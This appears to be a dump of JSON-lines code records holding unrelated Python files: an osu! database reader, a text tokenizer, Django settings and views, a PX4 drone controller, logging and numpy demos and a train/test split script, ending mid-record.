map_info[\"beatmap_id\"] = read_int(db)\n map_info[\"beatmapset_id\"] = read_int(db)\n map_info[\"thread_id\"] = read_int(db)\n map_info[\"best_grade_standard\"] = read_byte(db)\n map_info[\"best_grade_taiko\"] = read_byte(db)\n map_info[\"best_grade_ctb\"] = read_byte(db)\n map_info[\"best_grade_mania\"] = read_byte(db)\n map_info[\"local_offset\"] = read_short(db)\n map_info[\"stack_leniency\"] = read_single(db)\n map_info[\"mode\"] = read_byte(db)\n map_info[\"source\"] = read_string(db)\n map_info[\"tags\"] = read_string(db)\n map_info[\"online_offset\"] = read_short(db)\n map_info[\"title_font\"] = read_string(db)\n map_info[\"unplayed\"] = read_bool(db)\n map_info[\"last_played\"] = read_long(db)\n map_info[\"is_osz2\"] = read_bool(db)\n map_info[\"folder_name\"] = read_string(db)\n map_info[\"last_updated\"] = read_long(db)\n map_info[\"ignore_sound\"] = read_bool(db)\n map_info[\"ignore_skin\"] = read_bool(db)\n map_info[\"disable_storyboard\"] = read_bool(db)\n map_info[\"disable_video\"] = read_bool(db)\n map_info[\"visual_override\"] = read_bool(db)\n if self.version < 20140609:\n read_short(db) # wiki says this just isn't actually a used value\n map_info[\"last_mod_time_2\"] = read_int(db)\n map_info[\"scroll_speed\"] = read_byte(db)\n mp = LocalMap(map_info, client)\n self.map_dicts[mp.beatmap_id] = map_info\n self.maps[mp.md5_hash] = mp\n self.id_to_hash[mp.beatmap_id] = mp.md5_hash\n\n def map_list(self):\n return list(self.maps.values())\n\n def search_maps(self, name: str):\n results = []\n name = name.lower()\n for local_map in self.maps.values():\n if name in local_map.song_title.lower():\n results.append(local_map)\n return results\n\n def get_map_from_hash(self, md5_hash: str):\n for local_map in self.maps.values():\n if local_map.md5_hash == md5_hash:\n return local_map\n return None\n\n def export(self, path=None):\n if not path:\n path = \"osu_db.json\"\n db_dict = self.__dict__.copy()\n db_dict.pop(\"client\")\n db_dict.pop(\"maps\")\n db_dict.pop(\"id_to_hash\")\n json_str = json.dumps(db_dict, sort_keys=True, indent=4, default=str)\n with open(path, \"w\") as f:\n f.write(json_str)\n\n\nclass Collections:\n def __init__(self, client, path):\n self.client = client\n with open(path, \"rb\") as db:\n self.version = read_int(db)\n self.collections = {}\n self.no_collections = read_int(db)\n for _ in range(self.no_collections):\n collection = []\n name = read_string(db)\n no_maps = read_int(db)\n for _ in range(no_maps):\n collection.append(read_string(db))\n self.collections[name] = collection\n\n def export(self, path=None):\n if not path:\n path = \"collection.json\"\n db_dict = self.__dict__.copy()\n db_dict.pop(\"client\")\n json_str = json.dumps(db_dict, sort_keys=True, indent=4, default=str)\n with open(path, \"w\") as f:\n f.write(json_str)\n\n\nclass ScoresDB:\n def __init__(self, client, path):\n self.client = client\n with open(path, \"rb\") as db:\n self.version = read_int(db)\n no_maps = read_int(db)\n self.maps = {}\n self.score_by_map = {}\n for _ in range(no_maps):\n md5 = read_string(db)\n scores = []\n score_dict = []\n no_scores = read_int(db)\n for _ in range(no_scores):\n\n score_info = {\n \"mode\": read_byte(db),\n \"version\": read_int(db),\n \"map_hash\": read_string(db),\n \"username\": read_string(db),\n \"replay_hash\": read_string(db),\n \"count300\": read_short(db),\n \"count100\": read_short(db),\n \"count50\": read_short(db),\n \"countgeki\": read_short(db),\n \"countkatu\": read_short(db),\n \"countmiss\": read_short(db),\n \"score\": read_int(db),\n \"maxcombo\": read_short(db),\n \"perfect\": read_bool(db),\n \"mods\": read_int(db),\n }\n read_string(db)\n score_info[\"timestamp\"] = read_datetime(db)\n read_int(db)\n score_info[\"online_id\"] = read_long(db)\n if Mods.Target & Mods(score_info[\"mods\"]):\n score_info[\"target_practice_acc\"] = read_double(db)\n\n local_score = LocalScore(\n score_info, client, score_info[\"replay_hash\"]\n )\n scores.append(local_score)\n score_dict.append(score_info)\n if score_dict and scores[0].map:\n map_id = scores[0].map.beatmap_id\n self.score_by_map[map_id] = scores\n self.maps[md5] = scores\n\n def load_pp(self):\n for md5, scores in self.maps.items():\n for score in scores:\n score.get_pp()\n\n def get_scores_before(self, timestamp, names=None, ranked_only=False):\n before_timestamp = {}\n for md5, scores in self.maps.items():\n if ranked_only:\n if ranked_only:\n beatmap = self.client.get_local_map(md5)\n if beatmap.approval != Approval.RANKED:\n continue\n scores_before = list(filter(lambda x: x.timestamp < timestamp, scores))\n if names:\n scores_before = list(\n filter(lambda x: x.username in names, scores_before)\n )\n if scores_before:\n before_timestamp[md5] = scores_before\n return before_timestamp\n\n def get_best_scores_before(self, timestamp, names=None, ranked_only=False):\n if not names:\n names = [self.client.osu_db.player_name]\n all_scores = self.get_scores_before(\n timestamp, names=names, ranked_only=ranked_only\n )\n best_scores = []\n for md5, scores in all_scores.items():\n try:\n scores.sort(key=lambda x: x.score, reverse=True)\n if not scores:\n continue\n best = scores[0]\n if not best.pp:\n best.get_pp()\n if best.pp:\n best_scores.append(best)\n except NotImplementedError:\n pass\n except ValueError:\n pass\n best_scores.sort(key=lambda x: x.pp, reverse=True)\n return best_scores[:100]\n\n def export(self, path=None):\n if not path:\n path = \"scores.json\"\n db_dict = self.__dict__.copy()\n db_dict.pop(\"client\")\n db_dict.pop(\"maps\")\n json_str = json.dumps(db_dict, sort_keys=True, indent=4, default=str)\n with open(path, \"w\") as f:\n f.write(json_str)\n","sub_path":"osutools/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":11235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"357819018","text":"import csv\nimport json\nimport nltk\nimport re\nimport string\n\n\nINPUT_ARTICLES_PATH = './data/processed/articles.csv'\nOUTPUT_ARTICLES_PATH = './data/processed/tokenized-articles.csv'\n\nstopwords = nltk.corpus.stopwords.words('russian')\npunct_table = str.maketrans(dict.fromkeys(string.punctuation))\n\n\ndef load_articles(path=INPUT_ARTICLES_PATH):\n with open(path, encoding='utf-8') as f:\n csv_reader = csv.DictReader(f, fieldnames=['article', 'category'])\n\n articles = []\n for article in csv_reader:\n articles.append(article)\n return articles\n\n\ndef tokenize(text, use_stopwords=True):\n word_regex = re.compile(r'\\w+')\n tokens = []\n for sent in nltk.sent_tokenize(text):\n for word in nltk.word_tokenize(sent):\n word = word.lower().translate(punct_table)\n if not word \\\n or not word_regex \\\n or (use_stopwords and word in stopwords):\n continue\n else:\n tokens.append(word)\n return tokens\n\n\ndef tokenize_articles(articles):\n for article in articles[1:]:\n article['article'] = tokenize(article['article'])\n\n\ndef dump_articles(articles, path=OUTPUT_ARTICLES_PATH):\n with open(path, 'w', encoding='utf-8') as f:\n writer = csv.DictWriter(f, fieldnames=['article', 'category'])\n for article in articles:\n writer.writerow(article)\n\n\ndef main():\n articles = load_articles()\n tokenize_articles(articles)\n dump_articles(articles)\n\n\nif __name__ == '__main__':\n main()\n\n\n__all__ = ['tokenize', 'tokenize_articles', 'dump_articles']","sub_path":"preprocessing/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"419789566","text":"# Django settings for unili project.\nimport sys, os\n\nAPP_MODULE = ''\nAPP_BASEDIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nif APP_BASEDIR not in sys.path:\n sys.path.insert(0, APP_BASEDIR)\n\nexecfile(os.path.join(APP_BASEDIR, 'secrets.py'))\n\nMEDIA_ROOT = os.path.join(APP_BASEDIR, 'media')\nMEDIA_URL = '/media/'\n\nSTATIC_ROOT = os.path.join(APP_BASEDIR, 'static')\nSTATIC_URL = '/static/'\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n ('Andrin Heusser', 'ah@feinheit.ch'),\n # ('Your Name', 'your_email@example.com'),\n)\n\nMANAGERS = ADMINS\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# In a Windows environment this must be set to your system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'de-LI'\n\nLANGUAGES = (\n ('de', 'german',),\n ('en', 'english',),\n)\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale.\nUSE_L10N = True\n\n# If you set this to False, Django will not use timezone-aware datetimes.\nUSE_TZ = True\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # Uncomment the next line for simple clickjacking protection:\n # 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n)\n\nROOT_URLCONF = APP_MODULE + '.urls'\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = 'unili.wsgi.application'\n\nTEMPLATE_DIRS = (\n os.path.join(APP_BASEDIR, APP_MODULE, 'templates'),\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.request',\n 'django.core.context_processors.static',\n 'django.core.context_processors.media',\n 'django.core.context_processors.i18n',\n 'unili.context_processors.footer',\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n #'django.contrib.sites',\n 'django.contrib.messages',\n 'fhadmin',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n APP_MODULE,\n 'contacts',\n 'degrees',\n 'quicklinks',\n 'feincms',\n 'feincms.module.page',\n 'feincms.module.medialibrary',\n 'newswall',\n 'rosetta',\n 'mptt',\n 'south',\n 'compressor',\n)\n","sub_path":"unili/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"365999929","text":"import os\nimport pathlib\n\ndef os_check_all(path):\n return os.path.exists(path)\n\ndef os_check_file(file):\n return os.path.isfile(file)\n\ndef try_check(path):\n try:\n open(path,\"r\")\n except Exception:\n return False\n return True\n\ndef path_check_all(path):\n p=pathlib.Path(path)\n return p.exists()\n\ndef path_check_file(path):\n p=pathlib.Path(path)\n return p.is_file()\n\nif __name__ == \"__main__\":\n func={\"os_check_all\":os_check_all,\n \"os_check_file\":os_check_file,\n \"try_check\":try_check,\n \"path_check_all\":path_check_all,\n \"path_check_file\":path_check_file}\n file=\"E:/code/python_tools/practice/exists_check.txt\"\n for i in func:\n print(\"Enter function {}\".format(func[i].__name__))\n print(func[i](file))\n print(\"Ending function {}\".format(func[i].__name__))\n print(\"**************\")\n \n \n","sub_path":"exists_check.py","file_name":"exists_check.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"365667684","text":"import rospy\nfrom mavros_msgs.msg import GlobalPositionTarget, State, PositionTarget\nfrom mavros_msgs.srv import CommandBool, CommandTOL, SetMode\nfrom geometry_msgs.msg import PoseStamped, Twist\nfrom sensor_msgs.msg import Imu, NavSatFix\nfrom std_msgs.msg import Float32, Float64, String\nimport time\nfrom pyquaternion import Quaternion\nimport math\nimport threading\n\n\nclass Px4Controller:\n\n def __init__(self):\n\n self.imu = None\n self.gps = None\n self.local_pose = None\n self.current_state = None\n self.current_heading = None\n self.takeoff_height = 3.2\n self.local_enu_position = None\n\n self.cur_target_pose = None\n self.global_target = None\n\n self.received_new_task = False\n self.arm_state = False\n self.offboard_state = False\n self.received_imu = False\n self.frame = \"BODY\"\n\n self.state = None\n\n '''\n ros subscribers\n '''\n self.local_pose_sub = rospy.Subscriber(\"/mavros/local_position/pose\", PoseStamped, self.local_pose_callback)\n self.mavros_sub = rospy.Subscriber(\"/mavros/state\", State, self.mavros_state_callback)\n self.gps_sub = rospy.Subscriber(\"/mavros/global_position/global\", NavSatFix, self.gps_callback)\n self.imu_sub = rospy.Subscriber(\"/mavros/imu/data\", Imu, self.imu_callback)\n\n self.set_target_position_sub = rospy.Subscriber(\"gi/set_pose/position\", PoseStamped, self.set_target_position_callback)\n self.set_target_yaw_sub = rospy.Subscriber(\"gi/set_pose/orientation\", Float32, self.set_target_yaw_callback)\n self.custom_activity_sub = rospy.Subscriber(\"gi/set_activity/type\", String, self.custom_activity_callback)\n\n\n '''\n ros publishers\n '''\n self.local_target_pub = rospy.Publisher('mavros/setpoint_raw/local', PositionTarget, queue_size=10)\n\n '''\n ros services\n '''\n self.armService = rospy.ServiceProxy('/mavros/cmd/arming', CommandBool)\n self.flightModeService = rospy.ServiceProxy('/mavros/set_mode', SetMode)\n\n\n print(\"Px4 Controller Initialized!\")\n\n\n def start(self):\n rospy.init_node(\"offboard_node\")\n\n self.cur_target_pose = self.construct_target(0, 0, self.takeoff_height, self.current_heading)\n\n #print (\"self.cur_target_pose:\", self.cur_target_pose, type(self.cur_target_pose))\n\n for i in range(10):\n self.local_target_pub.publish(self.cur_target_pose)\n self.arm_state = self.arm()\n self.offboard_state = self.offboard()\n time.sleep(0.2)\n\n\n if self.takeoff_detection():\n print(\"Vehicle Took Off!\")\n\n else:\n print(\"Vehicle Took Off Failed!\")\n return\n\n '''\n main ROS thread\n '''\n while self.arm_state and self.offboard_state and (rospy.is_shutdown() is False):\n\n self.local_target_pub.publish(self.cur_target_pose)\n\n if (self.state is \"LAND\") and (self.local_pose.pose.position.z < 0.15):\n\n if(self.disarm()):\n\n self.state = \"DISARMED\"\n\n\n time.sleep(0.1)\n\n\n def construct_target(self, x, y, z, yaw, yaw_rate = 1):\n target_raw_pose = PositionTarget()\n target_raw_pose.header.stamp = rospy.Time.now()\n\n target_raw_pose.coordinate_frame = 9\n\n target_raw_pose.position.x = x\n target_raw_pose.position.y = y\n target_raw_pose.position.z = z\n\n target_raw_pose.type_mask = PositionTarget.IGNORE_VX + PositionTarget.IGNORE_VY + PositionTarget.IGNORE_VZ \\\n + PositionTarget.IGNORE_AFX + PositionTarget.IGNORE_AFY + PositionTarget.IGNORE_AFZ \\\n + PositionTarget.FORCE\n\n target_raw_pose.yaw = yaw\n target_raw_pose.yaw_rate = yaw_rate\n\n return target_raw_pose\n\n\n\n '''\n cur_p : poseStamped\n target_p: positionTarget\n '''\n def position_distance(self, cur_p, target_p, threshold=0.1):\n delta_x = math.fabs(cur_p.pose.position.x - target_p.position.x)\n delta_y = math.fabs(cur_p.pose.position.y - target_p.position.y)\n delta_z = math.fabs(cur_p.pose.position.z - target_p.position.z)\n\n if (delta_x + delta_y + delta_z < threshold):\n return True\n else:\n return False\n\n\n def local_pose_callback(self, msg):\n self.local_pose = msg\n self.local_enu_position = msg\n\n\n\n def mavros_state_callback(self, msg):\n self.mavros_state = msg.mode\n\n\n def imu_callback(self, msg):\n global global_imu, current_heading\n self.imu = msg\n\n self.current_heading = self.q2yaw(self.imu.orientation)\n\n self.received_imu = True\n\n\n def gps_callback(self, msg):\n self.gps = msg\n\n\n def body2enu(self, body_target_x, body_target_y, body_target_z):\n\n ENU_x = body_target_y\n ENU_y = - body_target_x\n ENU_z = body_target_z\n\n return ENU_x, ENU_y, ENU_z\n\n\n def BodyOffsetENU2FLU(self, msg):\n\n FLU_x = msg.pose.position.x * math.cos(self.current_heading) - msg.pose.position.y * math.sin(self.current_heading)\n FLU_y = msg.pose.position.x * math.sin(self.current_heading) + msg.pose.position.y * math.cos(self.current_heading)\n FLU_z = msg.pose.position.z\n\n return FLU_x, FLU_y, FLU_z\n\n\n def set_target_position_callback(self, msg):\n print(\"Received New Position Task!\")\n\n if msg.header.frame_id == 'base_link':\n '''\n BODY_OFFSET_ENU\n '''\n # For Body frame, we will use FLU (Forward, Left and Up)\n # +Z +X\n # ^ ^\n # | /\n # |/\n # +Y <------body\n\n self.frame = \"BODY\"\n\n print(\"body FLU frame\")\n\n FLU_x, FLU_y, FLU_z = self.BodyOffsetENU2FLU(msg)\n\n body_x = FLU_x + self.local_pose.pose.position.x\n body_y = FLU_y + self.local_pose.pose.position.y\n body_z = FLU_z + self.local_pose.pose.position.z\n\n self.cur_target_pose = self.construct_target(body_x,\n body_y,\n body_z,\n self.current_heading)\n\n\n else:\n '''\n LOCAL_ENU\n '''\n # For world frame, we will use ENU (EAST, NORTH and UP)\n # +Z +Y\n # ^ ^\n # | /\n # |/\n # world------> +X\n\n self.frame = \"LOCAL_ENU\"\n print(\"local ENU frame\")\n\n ENU_x, ENU_y, ENU_z = self.body2enu(msg.pose.position.x, msg.pose.position.y, msg.pose.position.z)\n\n self.cur_target_pose = self.construct_target(ENU_x,\n ENU_y,\n ENU_z,\n self.current_heading)\n\n '''\n Receive A Custom Activity\n '''\n\n def custom_activity_callback(self, msg):\n\n print(\"Received Custom Activity:\", msg.data)\n\n if msg.data == \"LAND\":\n print(\"LANDING!\")\n self.state = \"LAND\"\n self.cur_target_pose = self.construct_target(self.local_pose.pose.position.x,\n self.local_pose.pose.position.y,\n 0.1,\n self.current_heading)\n\n if msg.data == \"HOVER\":\n print(\"HOVERING!\")\n self.state = \"HOVER\"\n self.hover()\n\n else:\n print(\"Received Custom Activity:\", msg.data, \"not supported yet!\")\n\n\n def set_target_yaw_callback(self, msg):\n print(\"Received New Yaw Task!\")\n\n yaw_deg = msg.data * math.pi / 180.0\n self.cur_target_pose = self.construct_target(self.local_pose.pose.position.x,\n self.local_pose.pose.position.y,\n self.local_pose.pose.position.z,\n yaw_deg)\n\n '''\n return yaw from current IMU\n '''\n def q2yaw(self, q):\n if isinstance(q, Quaternion):\n rotate_z_rad = q.yaw_pitch_roll[0]\n else:\n q_ = Quaternion(q.w, q.x, q.y, q.z)\n rotate_z_rad = q_.yaw_pitch_roll[0]\n\n return rotate_z_rad\n\n\n def arm(self):\n if self.armService(True):\n return True\n else:\n print(\"Vehicle arming failed!\")\n return False\n\n def disarm(self):\n if self.armService(False):\n return True\n else:\n print(\"Vehicle disarming failed!\")\n return False\n\n\n def offboard(self):\n if self.flightModeService(custom_mode='OFFBOARD'):\n return True\n else:\n print(\"Vechile Offboard failed\")\n return False\n\n\n def hover(self):\n\n self.cur_target_pose = self.construct_target(self.local_pose.pose.position.x,\n self.local_pose.pose.position.y,\n self.local_pose.pose.position.z,\n self.current_heading)\n\n def takeoff_detection(self):\n if self.local_pose.pose.position.z > 0.1 and self.offboard_state and self.arm_state:\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n\n con = Px4Controller()\n con.start()\n\n","sub_path":"software/px4_mavros_scripts/1_px4_mavros_offboard_controller/px4_mavros_run.py","file_name":"px4_mavros_run.py","file_ext":"py","file_size_in_byte":9792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"530612701","text":"import glob\nimport logging\nimport logging.handlers\n\nLOG_FILENAME = 'logging_rotatingfile.out'\n\n# Set up a specific logger with our desired output level\nmy_logger = logging.getLogger('MyLogger')\nmy_logger.setLevel(logging.DEBUG)\n\n# Add the log message handler to the logger\nhandler = logging.handlers.RotatingFileHandler(\n LOG_FILENAME,\n maxBytes=1024, # 1kb\n backupCount=20,\n)\n\nformatter = logging.Formatter(\n fmt='%(asctime)s.%(msecs)03d %(levelname).1s %(pathname)s:%(lineno)d] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n\nhandler.setFormatter(formatter)\n\nmy_logger.addHandler(handler)\n\n# Log some messages\nfor i in range(100):\n my_logger.debug('i = %d' % i)\n\n# See what files are created\nlogfiles = glob.glob('%s*' % LOG_FILENAME)\nfor filename in sorted(logfiles):\n print(filename)\n","sub_path":"log/logging_rotatingfile2.py","file_name":"logging_rotatingfile2.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"234411962","text":"# Cristina del Río \nfrom django.shortcuts import render\nfrom cms_users_put.models import Pages\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n# Create your views here.\nFORMULARIO= \"\"\"\n
\n Name:

\n Page:

\n \n\"\"\"\n\ndef inicio_pag(request):\n if request.user.is_authenticated():\n resp = \"-Logged in as: \" + request.user.username\n resp += \" ==> Logout
\"\n else:\n resp = \"Not logged in: Login
\"\n resp += \"

La lista de las paginas es:

\"\n list_pags = Pages.objects.all()\n for pag in list_pags:\n resp += \"
  • \" + pag.name + \" ==> \" + pag.page + \"
\"\n return HttpResponse(resp)\n \n@csrf_exempt\ndef pag(request, ident):\n if request.method == \"GET\":\n try:\n\t\t\t# Cuando existe\n page = Pages.objects.get(name=ident)\n resp = \"La página que has pedido es: \" + page.name + \" ==> \" + page.page\t\n except Pages.DoesNotExist:\n\t\t\t# Cuando no existe\n if request.user.is_authenticated():\n resp = \"Esta página no existe, puedes crearla:\" + FORMULARIO\n else:\n resp = 'Not logged in: ' + \"Login\" \n elif request.method == \"POST\":\n if request.user.is_authenticated():\n name = request.POST['name']\n page = request.POST['page']\n pagina = Pages(name=name, page=page)\n pagina.save()\n resp = \"Has creado la página: \" + name + \"
Su id es : \" + str(pagina.id) + \"\"\n else:\n resp = \"Necesitas hacer login\"\n else:\n resp = \"Método no permitido\"\n return HttpResponse(resp)\n","sub_path":"cms_users_put/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"375070034","text":"#\n# @lc app=leetcode id=268 lang=python3\n#\n# [268] Missing Number\n#\n# https://leetcode.com/problems/missing-number/description/\n#\n# algorithms\n# Easy (47.31%)\n# Total Accepted: 241.8K\n# Total Submissions: 510.6K\n# Testcase Example: '[3,0,1]'\n#\n# Given an array containing n distinct numbers taken from 0, 1, 2, ..., n, find\n# the one that is missing from the array.\n# \n# Example 1:\n# \n# \n# Input: [3,0,1]\n# Output: 2\n# \n# \n# Example 2:\n# \n# \n# Input: [9,6,4,2,3,5,7,0,1]\n# Output: 8\n# \n# \n# Note:\n# Your algorithm should run in linear runtime complexity. Could you implement\n# it using only constant extra space complexity?\n#\n# Use Gauss formula\nclass Solution:\n def missingNumber(self, nums: 'List[int]') -> 'int':\n gauss = len(nums)*(len(nums)+1)/2\n numssum = sum(nums)\n return int(gauss-numssum)\n","sub_path":"268.missing-number.py","file_name":"268.missing-number.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"478903610","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.linalg import inv\nfrom numpy import linalg as LA\n\nA=np.matrix('1 0; 1 1; 1 2')\nb=np.matrix('6; 0; 0')\n\n#SVD, A=USV\nU, s, V=LA.svd(A)\n#Find size of A\nmn=A.shape\n#Creating the singular matrix\nS = np.zeros(mn)\nSinv = S.T\nS[:2,:2] = np.diag(s)\n#Verifying the SVD, A=USV\nprint(U.dot(S).dot(V))\n#Inverting s\nsinv = 1./s\n#Inverse transpose of S\nSinv[:2,:2] = np.diag(sinv)\nprint(Sinv)\n#Moore-Penrose Pseudoinverse\nAplus = V.T.dot(Sinv).dot(U.T)\n#Least squares solution\nx_ls = Aplus.dot(b)\n#\nprint(x_ls)\n","sub_path":"jee/linalg/matrix/codes/Prob1_6.py","file_name":"Prob1_6.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"2537767","text":"from collections import Counter\nfrom pprint import pprint\nfrom random import sample\n\nclass Phase(object):\n \"\"\"docstring for Phase.\"\"\"\n phase = \"\"\n def __init__(self):\n super(Phase, self).__init__()\n\nclass Stack(object):\n \"\"\"docstring for Stack.\"\"\"\n types = []\n effects = []\n\n def __init__(self):\n super(Stack, self).__init__()\n\n def __len__(self):\n return len(self.effects)\n\n def __str__(self):\n return str(self.effects)\n\n @classmethod\n def add(self,effect):\n for type in self.types:\n if isinstance(effect,type):\n self.effects.append(effect)\n return True\n raise TypeError\n\n @classmethod\n def is_empty(self):\n return self.effects == []\n\n @classmethod\n def resolve_one(self):\n most_recent = self.effects.pop()\n most_recent.resolve()\n\n @classmethod\n def resolve_all(self):\n while not self.is_empty():\n self.resolve_one()\n\nclass ManaPool(object):\n \"\"\"docstring for ManaPool.\"\"\"\n\n def __init__(self):\n super(ManaPool, self).__init__()\n self.mana = {\n \"W\": 0,\n \"U\": 0,\n \"B\": 0,\n \"R\": 0,\n \"G\": 0,\n }\n\n def __add__(self, mana):\n for m in mana:\n self.mana[m] += 1\n return self\n\n def __str__(self):\n return ''.join([color*amount for color,amount in self.mana.items()])\n\n def empty(self):\n self.mana = {\n \"W\": 0,\n \"U\": 0,\n \"B\": 0,\n \"R\": 0,\n \"G\": 0,\n }\n\n def spend(self,mana_cost):\n old_pool = dict(self.mana)\n costs_by_color = Counter(mana_cost)\n for color,amount in costs_by_color.items():\n if amount > self.mana[color]:\n print(\"Insufficient {} Mana!\".format(color))\n self.mana = old_pool\n return False\n else:\n self.mana[color] -= amount\n return True\n\nclass Battlefield(object):\n \"\"\"docstring for Battlefield.\"\"\"\n field = {}\n\n def __init__(self):\n super(Battlefield, self).__init__()\n\n @classmethod\n def add(self, card):\n self.field[card.controller] = self.field.get(card.controller,[])\n side = self.field[card.controller]\n side.append(card)\n\n @classmethod\n def print(self):\n pprint({p.name:[c.essential_dict() for c in cards] for p,cards in self.field.items()})\n\ndef target(owner, origin, zone = None, card_types = [], possible_controllers = [], players = []):\n pass\n\ndef choose_targets(possible_targets, n = 1):\n return sample(possible_targets, n)\n\ndef move(thing, old_place, new_place):\n old_place.remove(thing)\n new_place += thing\n\ndef phase(new_phase=None):\n if new_phase:\n Phase.phase = new_phase\n else:\n return Phase.phase\n\nclass Cost(object):\n \"\"\"docstring for Cost.\"\"\"\n\n def __init__(self, cost):\n super(Cost, self).__init__()\n self.cost = {\n \"W\": 0,\n \"U\": 0,\n \"B\": 0,\n \"R\": 0,\n \"G\": 0,\n \"T\": False\n }\n for c in cost:\n if c == \"T\":\n self.cost[\"T\"] = True\n else:\n self.cost[c] += 1\n self.mana_cost = ''.join([color*amount for color,amount in self.cost.items() if color!=\"T\"])\n self.tap_cost = self.cost[\"T\"]\n","sub_path":"bkgd.py","file_name":"bkgd.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"597377200","text":"from src.utils.initialize import *\nfrom sklearn.model_selection import train_test_split\n\nwith open('data/processed/movies_with_overviews.pkl','rb') as f:\n movies_with_overviews=pickle.load(f)\n\nwith open('data/interim/vectorized_target.pkl','rb') as f:\n vectorized_target = pickle.load(f)\n\nwith open('data/interim/raw_count_features.pkl','rb') as f:\n raw_count_features = pickle.load(f)\n\nwith open('data/interim/tfidf_count_features.pkl','rb') as f:\n tfidf_count_features=pickle.load(f)\n\nwith open('data/interim/w2v_features.pkl','rb') as f:\n w2v_features=pickle.load(f)\n\nprint(\"Split features and vectorized_target into a training and test set, 80-20.\")\n\nTEST_PROP = 0.2\nSEED = 42\n# Feature Selection and Test/Train Split\nindecies = range(len(movies_with_overviews))\n\n(raw_count_features_train, raw_count_features_test,\ntfidf_count_features_train, tfidf_count_features_test,\nw2v_features_train, w2v_features_test,\nvectorized_target_train, vectorized_target_test,\ntrain_indeces, test_indeces) = train_test_split(\n raw_count_features, tfidf_count_features, w2v_features,\n vectorized_target, indecies,\n test_size=TEST_PROP, random_state=SEED)\n\nwith open('data/processed/raw_count_features_train.pkl','wb') as f:\n pickle.dump(raw_count_features_train,f)\n\nwith open('data/processed/raw_count_features_test.pkl','wb') as f:\n pickle.dump(raw_count_features_test,f)\n\nwith open('data/processed/tfidf_count_features_train.pkl','wb') as f:\n pickle.dump(tfidf_count_features_train,f)\n\nwith open('data/processed/tfidf_count_features_test.pkl','wb') as f:\n pickle.dump(tfidf_count_features_test,f)\n\nwith open('data/processed/w2v_features_train.pkl','wb') as f:\n pickle.dump(w2v_features_train,f)\n\nwith open('data/processed/w2v_features_test.pkl','wb') as f:\n pickle.dump(w2v_features_test,f)\n\nwith open('data/processed/target_test.pkl','wb') as f:\n pickle.dump(vectorized_target_test,f)\n\nwith open('data/processed/target_train.pkl','wb') as f:\n pickle.dump(vectorized_target_train,f)\n\nwith open('data/processed/indeces_test.pkl','wb') as f:\n pickle.dump(test_indeces,f)\n\nwith open('data/processed/indeces_train.pkl','wb') as f:\n pickle.dump(train_indeces,f)\n\n","sub_path":"src/utils/test_train_split.py","file_name":"test_train_split.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"22844717","text":"import socket\n\nHEADER = 64\nPORT = 